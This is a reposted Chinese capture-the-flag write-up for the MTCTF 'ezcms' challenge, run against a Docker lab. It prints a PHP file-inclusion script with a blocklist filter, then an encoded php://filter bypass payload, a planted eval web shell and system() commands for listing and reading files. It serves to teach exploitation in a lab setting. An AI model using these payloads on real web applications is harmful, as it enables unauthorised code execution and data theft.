飞道的博客

MTCTF复现[ezcms]

513人阅读  评论(0)

MTCTF复现[ezcms]
环境配置:

docker pull y4tacker/ez_yxcms:1.0

进入界面,目录扫描一下,得到:
访问robots.txt:


在这儿找到密码,md5解密即可:attack


用户attack,密码attack登陆就可以了

看到头像处的url为

class/showImage.php?file=logo.jpg

应该可以进行文件读取,所以去掉logo.jpg,然后bp抓包,得到源码:

<?php


error_reporting(0);
if ($_GET['file']){
   
    $filename = $_GET['file'];
    if ($filename=='logo.jpg'){
   
        header("Content-Type:image/png");
        echo file_get_contents("../static/images/logo.jpg");
    }else{
   
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
   
            echo 'nononono!';
        } else{
   
            if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
   
                echo "hacker";
            }else{
   
                include($filename);
            }
        }
    }
}else{
   
    highlight_file(__FILE__);
}

源码过滤了很多东西,但是可以用编码来进行绕过:
并且虽然过滤了read,但是可以不要read,因为这二者是等价的
payload:

php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php

得到hint.php的内容:

<?php
//以下是class目录结构
/*
- class
    -- cache
    -- templates
        --- api
            - Api.php
        ---admin
            -add_category.php
            -category_list.php
            -edit_category.php
            -admin.php
            -footer.php
            -header.php
            -left.php
        - login.php
        - index.php
        - api.php
    -- auth.php
    -- file_class.php
    -- hint.php
    -- Medoo.php
    -- render_file.php
    -- showImage.php
    -- info.php
*/

依次读取各个源码,在auth.php里发现:

实例化了info,跟进info,发现:

大概就是会把参数t的内容写到log函数里,并且文件名是/class/cache,可以通过文件包含漏洞来执行该文件
构造payload:

t=<?php @eval($_POST['yy']);?>


可以看到已经successful了
接下来访问构造payload:

yy=system(‘ls /’);


发现flagg,接着

yy=system(‘ls -al /’)

来读一下权限

最后构造yy=system(‘cat /flagg’);
但由于里面的内容是空的,所以读不出来

这是这道题的非预期解,预期解是正常的反序列化,详细的话可以看其他师傅的wp


转载:https://blog.csdn.net/qq_51652864/article/details/117368504
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场